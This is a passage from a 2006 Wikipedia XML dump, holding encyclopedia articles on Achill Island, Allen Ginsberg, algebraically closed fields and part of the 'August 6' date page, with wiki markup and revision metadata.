[[et:Alkoholid]]
[[es:Alcohol]]
[[eo:Alkoholo]]
[[fr:Alcool (chimie)]]
[[gl:Alcohol]]
[[ko:알코올]]
[[id:Alkohol]]
[[io:Alkoholo]]
[[is:Alkóhól]]
[[it:Alcoli]]
[[he:כוהל]]
[[hu:Alkohol]]
[[mk:Алкохол]]
[[nl:Alcohol (scheikunde)]]
[[ja:アルコール]]
[[no:Alkohol]]
[[nn:Alkohol]]
[[pl:Alkohol]]
[[pt:Álcool]]
[[ru:Спирт]]
[[simple:Alcohol]]
[[sk:Alkohol]]
[[sl:Alkohol]]
[[sr:Алкохол]]
[[su:alkohol]]
[[fi:Alkoholi]]
[[tr:alkoller]]
[[vi:Rượu (hoá học)]]
[[zh:醇]]</text>
    </revision>
  </page>
  <page>
    <title>Achill Island</title>
    <id>1016</id>
    <revision>
      <id>41553470</id>
      <timestamp>2006-02-28T02:51:12Z</timestamp>
      <contributor>
        <ip>216.99.214.56</ip>
      </contributor>
      <comment>/* History */</comment>
      <text xml:space="preserve">[[Image:Achill_Island.png|thumb|300px|Location of Achill Island]]

[[Image:Achill_Ireland_Keem_bay.jpg|right|thumb|250px|Keem bay on Achill island is said to be one of the most beautiful beaches in Ireland.]]

'''Achill Island''' ''([[Irish language|Irish]]; Acaill, Oileán Acla)'' in [[County Mayo]] is the largest island off [[Ireland]], and is situated off the west coast. It has a population of 2700. Its area is 57 [[square miles]] (146 [[square kilometres]]). Achill is attached to the mainland by [[Michael Davitt Bridge]], between the villages of [[Achill Sound]] and Polranny, so it is possible to drive onto the island. This is a [[swing bridge]] which allows the passage of small boats. A bridge was first completed here in 1886, and replaced by the current structure after [[World War II]]. Other centres of population include the villages of Keel, Dooagh, Dooega and Dugort. The island's [[Gaelic football|football]] pitch and two secondary schools are on the mainland at Polranny. Early settlements are believed to have been established on Achill around 3000 BCE. A paddle dating from this period was found at the [[crannog]] near Dookinella.

The island is 87 per cent [[peat bog]]. The parish of Achill also includes the Corraun peninsula. The people of Corraun consider themselves Achill people, and most natives of Achill refer to this area as being &quot;in Achill&quot;. In the summer of 1996, the [[RNLI]] decided to station a [[lifeboat]] at Kildownet.

==History==
It is believed that at the end of the [[Neolithic Period]] (around 4000 BCE), Achill had a population of 500-1000 people. The island would have been mostly forest until the Neolithic people began crop cultivation. Settlememt increased during the [[Iron Age]], and the dispersal of small forts around the coast indicate the warlike nature of the times. [[Grace O'Malley|Granuaile]] maintained a castle at Kildownet in the [[sixteenth century]].

In the [[seventeenth century|seventeenth]] and [[eighteenth century|eighteenth]] centuries, there was much migration to Achill from other parts of Ireland, particularly [[Ulster]], due to the political and religious turmoil of the time. For a while there were two different [[dialect]]s of [[Irish language|Irish]] being spoken on Achill. This led to many townlands being recorded as having two names during the 1824 Ordnace Survey, and some maps today give different names for the same place. Achill Irish still has many traces of [[Ulster Irish]].

==Sights==
[[Image:Atlantic Drive.JPG|thumb|right|250px|Overlooking the west coast of Achill Island.]]
Despite some unsympathetic development, the island retains some striking natural beauty.  The cliffs of Croaghaun on the northern coast of the island are the highest sea cliffs in [[Europe]] but are inaccessible by road.  On the western tip near Achill Head, Keem bay is arguably one of the most beautiful beaches on the Irish west coast. [[Image:Achill_Ireland_Keel.jpg|thumb|left|250px|Keel Strand.]]Keel beach is quite popular with tourists and some locals as a [[surfing]] location. Another extreme point of the island is Moytoge Head, which with its rounded appearance drops dramatically down to the ocean. An old [[United_Kingdom|British]] observation post, built during [[World War I]] to prevent the [[Germany|Germans]] landing arms for the [[Irish Republican Army]] separatist movement, is still standing on Moytoge. The mountain Slievemore (671 metres) rises dramatically in the centre of the island and the Atlantic drive (along the south/west of the island) has some dramatically beautiful views. On the slopes of Slievemore, there is an abandoned village (&quot;The Deserted Village&quot;) The Deserted Village at Slievemore was once thought to be a remnant village from An Gorta Mór (The Great Hunger, see [[Great Famine]]).  However, recent developments suggest that it is a Booley.  Specifically, the people of Dooagh and Pollagh would migrate in the summer to Slievemore ([[Transhumance]]), and then go back to Dooagh in the fall. Just west of the deserted village is an old [[Martello tower]], again built by the British to warn of any possible [[France|French]] invasion. The area also boasts an approximately 5000-year old [[Neolithic tomb]]. Achillbeg (''Acaill Beag'', Little Achill) is a small island just off Achill's southern tip. Its inhabitants were resettled on Achill in the 1960's. There is a mural of a surfer on the gable of a pub in [[Cashel (Achill)|Cashel]].

==Economy==
While a number of attempts at setting up small industrial units on the island have been made, the economy of the island is largely dependent on [[tourism]]. Subventions from Achill people working abroad, in particular in [[England]], [[Scotland]] and the [[United States]] allowed many families to remain living in Achill throughout the 19th and 20th centuries. Since the advent of [[Ireland]]'s &quot;[[Celtic Tiger]]&quot; [[Economy of Ireland|economy]] fewer Achill people are forced to look for work abroad. [[Agriculture]] plays a small role and is only profitable because of European subsidies. The fact that the island is mostly bog means that it is limited - largely to [[sheep farming]]. In the past, [[fishing]] was a significant activity but this aspect of the economy is small now. At one stage, the island was known for its shark fishing, [[basking shark]] in particular was fished for its valuable liver oil. There was a big spurt of growth in tourism in the [[1960s]] and [[1970s]] before which life was tough and difficult on the island.  Since that heyday, the common perception is that tourism has been slowly declining.

==Architecture==
[[Image:Achill_Slievemore_Deserted_Village.jpg|250px|thumb|The &quot;Deserted Village&quot; at the foot of Slievemore was a Booley village, see [[Transhumance]]]]

Some of the recent building development on the island (over the last 40 years or so) has been contentious and in many cases is not as sympathetic to the landscape as the earlier style of [[whitewash|whitewashed]] [[barged roof]]ed [[cottage]]s.  Because of the inhospitable climate, very few houses date from before the [[20th century|twentieth century]].  An example of the style of earlier housing can be seen in the &quot;Deserted Village&quot; ruins near the graveyard at the foot of Slievemore.  Even the houses in this village represent a relatively comfortable class of dwelling as, even as recently as a hundred years ago, some people still used &quot;Beehive&quot; style houses (small circular single roomed dwellings with a hole in ceiling to let out smoke).  Many of the oldest and most picturesque inhabitated cottages date from the activities of the [[Congested Districts Board for Ireland]] - a body set up around the turn of the twentieth century in Ireland to improve the welfare for inhabitants of small villages and towns.  Most of the homes in Achill at the time were very small and tightly packed together in villages.  The CDB subsidised the building of new, more spacious (though still small by modern standards) homes outside of the traditional villages.

==Famous people==
The artist [[Paul Henry (painter)|Paul Henry]] stayed on the island for a number of years in the early 1900s and some of his most famous paintings are of the dramatic landscape of the island. The [[Nobel Prize]] winning author, [[Heinrich Böll]], visited the island and wrote of his experience in his &quot;Irish Journal&quot; (''Irisches Tagebuch''). The Bölls later bought a cottage near Dugort and lived in it periodically until 2001 when they donated it to be used as an artists' residence. [[Graham Greene]] also spent time on Achill Island.

==See also==
*[[Connacht Irish]]

==External links==
{{Wikisource1911Enc|Achill}}
*[http://www.achill-island.com Achill Island web site]
*[http://www.visitachill.com Visit Achill multilingual visitor's guide]
*[http://www.achilltourism.com Achill Tourism web site]
*[http://www.scoilacla.com Scoil Acla web site]
*[http://www.achill-fieldschool.com Achill Field School web site]


[[Category:Islands of Ireland]]

[[da:Achill Island]]
[[de:Achill Island]]
[[fr:Île d'Achill]]
[[ga:Acaill]]
[[gl:Achill - Acaill]]
[[it:Achill Island]]</text>
    </revision>
  </page>
  <page>
    <title>Allen Ginsberg</title>
    <id>1017</id>
    <revision>
      <id>41767571</id>
      <timestamp>2006-03-01T16:31:23Z</timestamp>
      <contributor>
        <ip>132.241.245.49</ip>
      </contributor>
      <comment>/* Life */</comment>
      <text xml:space="preserve">[[Image:Ginsberg2.jpg|right|225|thumb|Allen Ginsberg in later life]]

'''Irwin Allen Ginsberg''' ({{IPA2|ˈgɪnzˌbɝg}}) ([[June 3]], [[1926]] &amp;ndash; [[April 5]] [[1997]]) was an [[United States|American]] [[Beat poet]] born in [[Newark, New Jersey]]. Ginsberg is best known for [[Howl]] ([[1956]]), a long poem about [[consumer]] [[society]]'s negative [[Values#Personal and cultural values|human values]].

==Life==

Ginsberg was born on [[June 3]], [[1926]] into a Jewish family in [[Newark, New Jersey]]. His father [[Louis Ginsberg]] was a poet and his mother was a high school teacher. Ginsberg's mother, Naomi Levy Ginsberg (who was affected by [[epileptic seizures]] and [[mental illness]]es such as [[paranoia]] {{ref|Modern}}) was also an active member of the [[Communist Party USA]] and often took Ginsberg and his brother Eugene to party meetings. Ginsberg later said that his mother &quot;Made up bedtime stories that all went something like: 'The good king rode forth from his castle, saw the suffering workers and healed them.'&quot;{{ref|BioProject}}

As a teenager, Ginsberg began to write letters to ''The [[New York Times]]'' about political issues such as [[World War II]] and workers' rights.{{ref|BioProject2}} When he was a junior in high school, he accompanied his mother by bus to her therapist. The trip disturbed Ginsberg and he later described it, along with his relationship with his mother, in his long autobiographical poem ''[[Kaddish (poem)|''Kaddish for Naomi Ginsberg (1894-1956)]].''{{ref|Modern2}} 

In 1943 Ginsberg graduated from high school and briefly attended [[Montclair State University]] before entering [[Columbia University]] on a scholarship from the [[Young Men's Hebrew Association]] of Paterson. ([[1949]])[http://www.nytimes.com/books/01/04/08/specials/ginsberg-obit.html]. In his freshman year he met fellow undergraduate [[Lucien Carr]], who introduced him to a number of future Beat writers including [[Jack Kerouac]], [[William S. Burroughs]], and [[John Clellon Holmes]]. Carr also introduced Ginsberg to [[Neal Cassady]], one of the many that Ginsberg loved. Kerouac later described the meeting between Ginsberg and Cassady in the first chapter of his 1957 novel ''[[On the Road]].''{{ref|Modern3}}

In [[1954]] Ginsberg met [[Peter Orlovsky]], a young man of 21 with whom he fell in love and who remained his life-long lover, and with whom he eventually shared his interest in Tibetan Buddhism. Later in his life, Ginsberg formed a bridge between the [[Beat_generation|Beat]] movement of the [[1950s]] and the [[hippies]] of the [[1960s]], befriending, among others, [[Timothy Leary]], [[Gregory Corso]], [[Bob Kaufman]], [[Herbert Huncke]], [[Rod McKuen]], and [[Bob Dylan]]. 

In 1965 Ginsberg was deported from Cuba for for publicaly protesting against Cuba's anti-marijuana stance and its penchant for throwing homosexuals in jail.

The Cubans sent him to Czechoslovakia, Where one week after being named the King of a May Day parade, Ginsberg was labeled an &quot;immoral menace&quot; by the Czech government and deported.

In 1982, he was featured on &quot;Ghetto Defendant&quot;, a song by [[The Clash]], on their album &quot;[[Combat Rock]]&quot;. Ginsberg died of cancer on [[April 5]], [[1997]].

==Career==

Ginsberg's [[poetry]] was strongly influenced by [[modernism]], [[romanticism]], the beat and cadence of [[jazz]], and his [[Kagyu]] [[Buddhism|Buddhist]] practice and [[Jew]]ish background. He considered himself to have inherited the visionary and [[homoeroticism|homoerotic]] poetic mantle handed from the English poet and artist [[William Blake]] on to [[Walt Whitman]]. The power of Ginsberg's verse, its searching, probing focus, its long and lilting lines, as well as its New World exuberance, all echo the continuity of inspiration which he claimed. Other influences included the American poet [[William Carlos Williams]]. 

Ginsberg's principal work, &quot;[[Howl]]&quot;, is well-known to many for its opening line: &quot;I saw the best minds of my generation destroyed by madness&quot;.  It was considered scandalous at the time of publication due to the rawness of the language, which is frequently explicit.  Shortly after its [[1956]] publication by [[San Francisco]]'s [[City Lights Bookstore]], it was banned for obscenity. The ban became a [[cause célèbre]] among defenders of the [[First Amendment]], and was later lifted after judge Clayton W. Horn declared the poem to possess redeeming social importance. Ginsberg's [[leftist]] and generally anti-establishment politics attracted the attention of the [[FBI]], who regarded Ginsberg as a major security threat. [[Image:Ginsberg.jpg|right|175px|thumb|Allen Ginsberg]]

Ginsberg's spiritual journey began early on with his reported spontaneous visions, and continued with an early trip to [[India]] and a chance encounter on a New York City street (they both tried to catch the same cab) with [[Chögyam Trungpa]], Rinpoche, a [[Tibetan Buddhist]] meditation master of the [[Vajrayana]] school, who became his friend and life-long teacher. Ginsberg helped found the [[Jack Kerouac]] School of Disembodied Poetics at [[Naropa University]] in [[Boulder, Colorado]], a school founded by Chögyam Trungpa, Rinpoche. Music and chanting were both important parts of his live delivery during poetry readings. He often accompanied himself on a handheld organ called a harmonium, and was often accompanied by a guitarist. Attendance to his poetry readings was generally standing room only for most of his career, no matter where in the world he appeared. 

Ginsberg won the National Book Award for his book &quot;The Fall of America.&quot; In 1993, the French Minister of Culture awarded him with the medal of [[Chevalier des Arts et des Lettres]] (the Order of Arts and Letters).

In [[1994]], when the [[International Lesbian and Gay Association]] successfully banished all connections to the [[North American Man-Boy Love Association]] in order to gain consultative status in the United Nations, Ginsberg opposed (together with modern gay rights founder [[Harry Hay]]). He said that he supported NAMBLA's right to [[free speech]] because the hysteria over [[pederasty]] reminded him of the hysteria over homosexuality itself while he was growing up. While his poetry praised the love of youths, his interests lay mostly in young men above the age of consent.

==Quotations==

* &quot;Our goal was to save the planet and alter human consciousness.  That will take a long time, if it happens at all.&quot;
* &quot;Poetry is not an expression of the party line. It's that time of night, lying in bed, thinking what you really think, making the private world public, that's what the poet does.&quot;
* &quot;Pot is fun.&quot;
* &quot;The only thing that can save the world is the reclaiming of the awareness of the world. That's what poetry does.&quot;
* &quot;Master thyself and others will follow.&quot;
* &quot;First thought, best thought.&quot; (referring to his, and other Beat writers' unique style of writing poetry)
* &quot;The CIA and the Mafia are in cahoots&quot;

==Bibliography==

* ''[[Howl|Howl and Other Poems]]'' ([[1956]])
* ''[[Kaddish (poem)|Kaddish and Other Poems]]'' ([[1961]])
* ''Reality Sandwiches'' ([[1963]])
* ''[[The Yage Letters]]'' ([[1963]]) &amp;ndash; with [[William S. Burroughs]]
* ''Planet News'' ([[1968]])
* ''The Gates of Wrath: Rhymed Poems [[1948]]&amp;ndash;[[1951]]'' ([[1972]])
* ''The Fall of America: Poems of These States'' ([[1973]])
* ''Iron Horse'' ([[1972]])
* ''Mind Breaths'' ([[1978]])
* ''Plutonian Ode: Poems [[1977]]&amp;ndash;[[1980]]'' ([[1982]])
* ''Collected Poems: [[1947]]&amp;ndash;[[1980]]'' ([[1984]])
* ''White Shroud Poems: [[1980]]&amp;ndash;[[1985]]'' ([[1986]])
* ''Cosmopolitan Greetings Poems: [[1986]]&amp;ndash;[[1993]]'' ([[1994]])
* ''Howl Annotated'' ([[1995]])
* ''Illuminated Poems'' ([[1996]])
* ''Selected Poems: [[1947]]&amp;ndash;[[1995]]'' ([[1996]])
* ''Death and Fame: Poems [[1993]]&amp;ndash;[[1997]]'' ([[1999]])

'''Further Reading'''

*Miles, Barry.  ''Ginsberg: A Biography.'' London: Virgin Publishing Ltd. (2001), paperback, 628 pages, ISBN 0753504863
*Schumacher, Michael (edt.).  ''Family Business: Selected Letters Between a Father and Son.'' Bloomsbury (2002), paperback, 448 pages, ISBN 1582342164
*Schumacher, Michael. ''[[Dharma Lion: A Biography of Allen Ginsberg]].'' New York: St. Martin's Press, 1994.
*Bullough, Vern L. &quot;Before Stonewall:  Activists for Gay and Lesbian Rights in Historical Context.&quot;  Harrington Park Press, 2002. pp 304-311.

== Notes ==
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--&gt;
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#{{note|Modern}} [http://www.english.uiuc.edu/maps/poets/g_l/ginsberg/life.htm &quot;Allen Ginsberg's Life&quot; by Ann Charters.] Modern American Poetry website. Accessed 10/20/05.
#{{note|BioProject}} [http://www.popsubculture.com/pop/bio_project/allen_ginsberg.html Biographical Notes on Allen Ginsberg] by Bonesy Jones on the Biography Project. Accessed 10/20/05.
#{{note|BioProject2}} Ibid.
#{{note|Modern2}} [http://www.english.uiuc.edu/maps/poets/g_l/ginsberg/life.htm &quot;Allen Ginsberg's Life&quot; by Ann Charters.] Modern American Poetry website. Accessed 10/20/05.
#{{note|Modern3}} Ibid.

&lt;!--READ ME!! PLEASE DO NOT JUST ADD NEW NOTES AT THE BOTTOM. See the instructions above on ordering. --&gt;
&lt;/div&gt;

==External links==
{{wikiquote}}
* [http://wiredforbooks.org/allenginsberg/ 1985 audio interview with Allen Ginsberg by Don Swaim of CBS Radio, RealAudio]
*[http://www.poets.org/agins Allen Ginsberg on Poets.org] With audio clips, poems, and related essays, from the Academy of American Poets
*[http://www.heureka.clara.net/art/ginsberg.htm Allen Ginsberg]
*[http://www.levity.com/digaland/celestial &quot;Ginsberg's Celestial Homework&quot;]
*[http://www.ginzy.com/ &quot;The clearing house for all things Ginsberg&quot;]
*[http://www.lichtensteiger.de/ginsberg.html On Allen Ginsberg] by Ralph Lichtensteiger
*[http://www.theatlantic.com/issues/66nov/hoax.htm &quot;The Great Marijuana Hoax &amp;ndash; Allen Ginsberg&quot;](the first half of which was written on marijuana)
*[http://www.allenginsberg.org allenginsberg.org | MP3 files and much more]
*[http://www.archive.org/audio/audio-details-db.php?collection=naropa&amp;collectionid=naropa_allen_ginsberg&amp;from=BA Naropa Audio Archives: Allen Ginsberg class (August 6th, 1976)] Streaming audio and 64 kbit/s MP3 ZIP
*[http://www.archive.org/audio/audio-details-db.php?collection=naropa&amp;collectionid=naropa_anne_waldman_and_allen_ginsberg&amp;from=mostViewed Naropa Audio Archives: Anne Waldman and Allen Ginsberg reading, including Howl (August 9th, 1975)] Streaming audio and 64 kbit/s MP3 ZIP
* [http://www.litkicks.com/BeatPages/page.jsp?what=AllenGinsberg Article on Allen Ginsberg @ Lit Kicks] 
*[http://www.cosmoetica.com/TOP102-DES99.htm Essay on Ginsberg’s In Back Of The Real]
* [http://neonalley.org/ginsberg.html Blue Neon Alley &amp;ndash; Allen Ginsberg directory]
* [http://www.spikemagazine.com/0198gins.php Spike Magazine Interview]
*[http://www.levity.com/corduroy/ginsberg.htm Ginsberg's Memorial Page]
*[http://supervert.com/essays/art/allen_ginsberg Review of exhibit featuring photographs by Ginsberg]

[[Category:1926 births|Ginsberg, Allen]]
[[Category:1997 deaths|Ginsberg, Allen]]
[[Category:Allen Ginsberg|*Allen Ginsberg]]
[[Category:American poets|Ginsberg, Allen]]
[[Category:American anarchists|Ginsberg, Allen]]
[[Category:Anti-war people|Ginsberg, Allen]]
[[Category:Beat Generation|Ginsberg, Allen]]
[[Category:Beat writers|Ginsberg, Allen]]
[[Category:Buddhists|Ginsberg, Allen]]
[[Category:Columbia alumni|Ginsberg, Allen]]
[[Category:Gay writers|Ginsberg, Allen]]
[[Category:Greenwich Village Scene|Ginsberg, Allen]]
[[Category:Jewish American writers|Ginsberg, Allen]]
[[Category:Jewish anarchists|Ginsberg, Allen]]
[[Category:Pederasty|Ginsberg, Allen]]
[[Category:People from New Jersey|Ginsberg, Allen]]
[[Category:Tax resisters|Ginsberg, Allen]]
[[Category:American communists|Ginsberg, Allen]]

[[bg:Алън Гинсбърг]]
[[cs:Allen Ginsberg]]
[[de:Allen Ginsberg]]
[[el:Άλλεν Γκίνσμπεργκ]]
[[es:Allen Ginsberg]]
[[eo:Allen GINSBERG]]
[[fr:Allen Ginsberg]]
[[it:Allen Ginsberg]]
[[he:אלן גינסברג]]
[[nl:Allen Ginsberg]]
[[ja:アレン・ギンズバーグ]]
[[pl:Allen Ginsberg]]
[[fi:Allen Ginsberg]]
[[sv:Allen Ginsberg]]</text>
    </revision>
  </page>
  <page>
    <title>Algebraically closed field</title>
    <id>1018</id>
    <revision>
      <id>38168661</id>
      <timestamp>2006-02-04T17:48:13Z</timestamp>
      <contributor>
        <username>MathMartin</username>
        <id>29707</id>
      </contributor>
      <minor />
      <comment>links</comment>
      <text xml:space="preserve">In [[mathematics]], a [[field (mathematics)|field]] &lt;math&gt;F&lt;/math&gt; is said to be '''algebraically closed''' if every [[polynomial]] in one variable of degree at least &lt;math&gt;1&lt;/math&gt;, with [[coefficient]]s in &lt;math&gt;F&lt;/math&gt;, has a [[root (mathematics)|zero]] ([[root (mathematics)|root]]) in &lt;math&gt;F&lt;/math&gt;.

As an example, the field of [[real number]]s is not algebraically closed, because the polynomial equation

:&lt;math&gt;3x^2+1=0&lt;/math&gt;

has no solution in real numbers, even though both of its coefficients (&lt;math&gt;3&lt;/math&gt; and &lt;math&gt;1&lt;/math&gt;) are real. The same argument proves that the field of [[rational number]]s is not algebraically closed. Also, no [[finite field]] &lt;math&gt;F&lt;/math&gt; is algebraically closed, because if &lt;math&gt;a_1&lt;/math&gt;, &lt;math&gt;a_2&lt;/math&gt;, &amp;hellip;, &lt;math&gt;a_n&lt;/math&gt; are the elements of &lt;math&gt;F&lt;/math&gt;, then the polynomial 

:&lt;math&gt;(x-a_1)(x-a_2)&lt;/math&gt;&amp;nbsp;&amp;middot;&amp;middot;&amp;middot;&amp;nbsp;&lt;math&gt;(x-a_n)+1&lt;/math&gt;

has no zero in &lt;math&gt;F&lt;/math&gt;. By contrast, the field of [[complex number]]s is algebraically closed: this is stated by the [[fundamental theorem of algebra]]. Another example of an algebraically closed field is the field of [[algebraic number]]s.

Given a field &lt;math&gt;F&lt;/math&gt;, the assertion &amp;ldquo;&lt;math&gt;F&lt;/math&gt; is algebraically closed&amp;rdquo; is equivalent to each one of the following:

* Every polynomial &lt;math&gt;p(x)&lt;/math&gt; of degree &lt;math&gt;n&lt;/math&gt;&amp;nbsp;&amp;ge;&amp;nbsp;&lt;math&gt;1&lt;/math&gt;, with [[coefficient]]s in &lt;math&gt;F&lt;/math&gt;, [[Factorization|splits into linear factors]]. In other words, there are elements &lt;math&gt;k&lt;/math&gt;,&amp;nbsp;&lt;math&gt;x_1&lt;/math&gt;,&amp;nbsp;&lt;math&gt;x_2&lt;/math&gt;,&amp;nbsp;&amp;hellip;,&amp;nbsp;&lt;math&gt;x_n&lt;/math&gt; in &lt;math&gt;F&lt;/math&gt; such that
::&lt;math&gt;p(x)=k(x-x_1)(x-x_2)&lt;/math&gt;&amp;nbsp;&amp;middot;&amp;middot;&amp;middot;&amp;nbsp;&lt;math&gt;(x-x_n)&lt;/math&gt;.

* The field &lt;math&gt;F&lt;/math&gt; has no proper [[algebraic extension]].

* For each natural number &lt;math&gt;n&lt;/math&gt;, every [[Linear map|linear map]] from &lt;math&gt;F^n&lt;/math&gt; into itself has some [[Eigenvector|eigenvector]].

* Every [[Rational function|rational function]] in one variable &lt;math&gt;x&lt;/math&gt;, with coefficients in &lt;math&gt;F&lt;/math&gt;, can be written as the sum of a polynomial function with rational functions of the form &lt;math&gt;a/(x-b)^n&lt;/math&gt;, where &lt;math&gt;n&lt;/math&gt; is a natural number, and &lt;math&gt;a&lt;/math&gt; and &lt;math&gt;b&lt;/math&gt; are elements of &lt;math&gt;F&lt;/math&gt;.

If &lt;math&gt;F&lt;/math&gt; is an algebraically closed field, &lt;math&gt;a&lt;/math&gt; is an element of &lt;math&gt;F&lt;/math&gt;, and &lt;math&gt;n&lt;/math&gt; is a natural number, then &lt;math&gt;a&lt;/math&gt; has an &lt;math&gt;n&lt;/math&gt;&lt;sup&gt;th&lt;/sup&gt; root in &lt;math&gt;F&lt;/math&gt;, since this is the same thing as saying that the equation &lt;math&gt;x^n-a=0&lt;/math&gt; has some root in &lt;math&gt;F&lt;/math&gt;. However, there are fields in which every element has an &lt;math&gt;n&lt;/math&gt;&lt;sup&gt;th&lt;/sup&gt; root (for each natural number &lt;math&gt;n&lt;/math&gt;) but which are not algebraically closed. In fact, even assuming that every polynomial of the form &lt;math&gt;x^n-a&lt;/math&gt; splits into linear factors is not enough to assure that the field is algebraically closed.

Every field &lt;math&gt;F&lt;/math&gt; has an &quot;[[algebraic closure]]&quot;, which is the smallest algebraically closed field of which &lt;math&gt;F&lt;/math&gt; is a subfield.

==References==

* [[S. Lang]], ''Algebra'', Springer-Verlag, 2004, ISBN 0-387-95385-X

* [[B. L. van der Waerden]], ''Algebra I'', Springer-Verlag, 1991, ISBN 0-387-97424-5

[[Category:Abstract algebra]]

[[de:Algebraisch abgeschlossen]]
[[es:Cuerpo algebraicamente cerrado]]
[[fr:Corps algébriquement clos]]
[[it:Campo algebricamente chiuso]]
[[pt:Corpo algebricamente fechado]]
[[ru:&amp;#1040;&amp;#1083;&amp;#1075;&amp;#1077;&amp;#1073;&amp;#1088;&amp;#1072;&amp;#1080;&amp;#1095;&amp;#1077;&amp;#1089;&amp;#1082;&amp;#1080; &amp;#1079;&amp;#1072;&amp;#1084;&amp;#1082;&amp;#1085;&amp;#1091;&amp;#1090;&amp;#1086;&amp;#1077; &amp;#1087;&amp;#1086;&amp;#1083;&amp;#1077;]]</text>
    </revision>
  </page>
  <page>
    <title>August 6</title>
    <id>1019</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
      <id>41533070</id>
      <timestamp>2006-02-28T00:05:55Z</timestamp>
      <contributor>
        <username>Gaius Cornelius</username>
        <id>293907</id>
      </contributor>
      <minor />
      <comment>Common typographical error 'battle of battle of'. See [[WP:LCM]].</comment>
      <text xml:space="preserve">{| style=&quot;float:right;&quot;
|- 
|{{AugustCalendar}}
|-
|{{ThisDateInRecentYears|Month=August|Day=6}}
|}
'''August 6''' is the 218th day of the year in the [[Gregorian Calendar]] (219th in [[leap year]]s), with 147 days remaining.

==Events==
*[[1538]] - [[Bogota, Colombia|Bogota]], [[Colombia]] founded by [[Gonzalo Jimenez de Quesada]].
*[[1806]] - [[Francis II, Holy Roman Emperor|Francis II]], the last Holy Roman Emperor, abdicates, thus ending the [[Holy Roman Empire]].
*[[1819]] - [[Norwich University]] founded in [[Vermont]] as the first private military school in the [[United States]].  
*[[1825]] - [[Bolivia]] gains independence from [[Spain]]. 
*[[1861]] - [[United Kingdom|British]] annexation of [[Lagos]], [[Nigeria]]. 
*[[1862]] - [[American Civil War]]: The [[Confederate States of America|Confederate]] ironclad [[CSS Arkansas|CSS ''Arkansas'']] is scuttled on the [[Mississippi River]] after suffering damage in a battle with [[USS Essex (1856)|USS ''Essex'']] near [[Baton Rouge, Louisiana]].  
*[[1890]] - At [[Auburn Prison]] in [[New York]], the first [[execution (legal)|execution]] by [[electric chair]] is performed, with murderer [[William Kemmler]] as the subject.
*[[1901]] - [[Kiowa]] land in [[Oklahoma]] is opened for white settlement, effectively dissolving the contiguous [[Indian reservation|reservation]].
*[[1914]] - Ten [[Germany|German]] [[U-boats]] leave their base in [[Heligoland]] to attack [[Royal Navy]] warships in the [[North Sea]], beginning the [[First Battle of the Atlantic]].
*[[1915]] - [[World War I]]: The [[Battle of Sari Bair]] begins - The [[Allies]] mount a diversionary attack timed to coincide with a major Allied landing of reinforcements at [[Suvla Bay]]. 
*[[1926]] - [[Gertrude Ederle]] becomes first woman to swim across the [[English Channel]]. 
*1926 - In [[New York]], the [[Warner Brothers]]' [[Vitaphone]] system premieres with the movie ''[[Don Juan (movie)|Don Juan]]'' starring [[John Barrymore]].  
*[[1945]] - [[World War II]]: the [[Atomic bombing of Hiroshima]]. An [[atomic bomb]] codenamed ''[[Little Boy]]'' is dropped by the American [[B-29]] [[Enola Gay]] on the city of [[Hiroshima]] in [[Japan]] at 8:16 a.m., killing 80,000 outright with another 60,000 dead by the end of the year due to [[Nuclear fallout|fallout]] sickness. Ultimately, about 200,000 die due to the atomic bomb.
*[[1960]] - [[Cuban Revolution]]: In response to a [[United States]] embargo, [[Cuba]] nationalizes American and foreign-owned property in the nation.  
*[[1962]] - [[Jamaica]] becomes independent. 
*[[1965]] - [[President of the United States|US President]] [[Lyndon B. Johnson]] signs the [[Voting Rights Act of 1965]] into [[United States law]]. 
*[[1984]] - [[Pop music|Pop]] star [[Prince (artist)|Prince]] releases ''[[Purple Rain (album)|Purple Rain]]'', the album which would launch him to superstardom.
*[[1986]] - A low-pressure system that redeveloped off the [[New South Wales]] coast dumps a record 328 millimetres (13 inches) of rain in a day on [[Sydney]].
*[[1988]] - &quot;[[Police riot]]&quot; in [[New York City]]'s [[Tompkins Square Park]]
*[[1990]] - [[Gulf War]]: The [[United Nations Security Council]] orders a global [[trade embargo]] against [[Iraq]] in response to Iraq's invasion of [[Kuwait]]  
*[[1991]] - [[Tim Berners-Lee]] releases files describing his idea for the [[World Wide Web]]. 
*1991 - [[Doi Takako]], chair of the [[Social Democratic Party (Japan)]], becomes [[Japan|Japan's]] first female speaker of the [[House of Representatives of Japan|House of Representatives]].
*[[1993]] - [[Louis Freeh]] is confirmed by the [[United States Senate]] to be the director of the [[Federal Bureau of Investigation]]  
*1993 - ''[[The Fugitive (1993 film)|The Fugitive]]'' opens in theaters, starring [[Harrison Ford]] and [[Tommy Lee Jones]].
*[[1996]] - [[NASA]] announces that the [[ALH 84001]] meteorite, thought to originate from [[Mars (planet)|Mars]], contains evidence of primitive life-forms.
*[[1997]] - [[Microsoft]] buys $150 million worth of shares of financially troubled [[Apple Computer]].
*1997 - [[Korean Air Flight 801]], a [[Boeing 747]]-300, crashes into the jungle on [[Guam]] on approach to airport, killing 228.
*[[2000]] - The [[Roman Catholic Church]]'s [[Congregation for the Doctrine of the Faith]], under Prefect [[Pope Benedict XVI|Joseph Cardinal Ratzinger]], publishes ''[[Dominus Iesus]]'', notable for its lack of the [[filioque clause]] in the [[Latin]] text of the [[Nicene Creed]].
*[[2001]] -  White House briefing entitled [[Bin Laden Determined to Strike in U.S.]] delivered to [[George W. Bush]]. This document foreshadowed the [[September 11, 2001 attacks]].
*[[2002]] - [[Marquis de la Fayette]] is made [[Honorary Citizen of the United States]]
*2002 - [[Manindra Agrawal|Manindra Agrawal et al]] prove the long standing [[AKS primality test|number theory conjecture]] in the article entitled &quot;Primes in P&quot;.

==Births==
*[[1180]] - [[Emperor Go-Toba]] of Japan (d. [[1239]])
*[[1504]] - [[Matthew Parker]], [[Archbishop of Canterbury]] (d. [[1575]])
*[[1619]] - [[Barbara Strozzi]], Italian singer and composer (d. [[1677]])
*[[1638]] - [[Nicolas Malebranche]], French philosopher (d. [[1715]])
*[[1644]] - [[Louise de la Vallière]], French mistress of [[Louis XIV of France]] (d. [[1710]])
*[[1656]] - [[Claude de Forbin]], French naval commander (d. [[1733]])
*[[1697]] - [[Charles VII, Holy Roman Emperor]] (d. [[1745]])
*[[1715]] - [[Luc de Clapiers, marquis de Vauvenargues]], French writer (d. [[1747]])
*[[1766]] - [[William Hyde Wollaston]], English chemist (d. [[1828]])
*[[1768]] - [[Jean-Baptiste Bessières]], French marshal (d. [[1813]])
*[[1809]] - [[Alfred Lord Tennyson]], English poet (d. [[1892]])
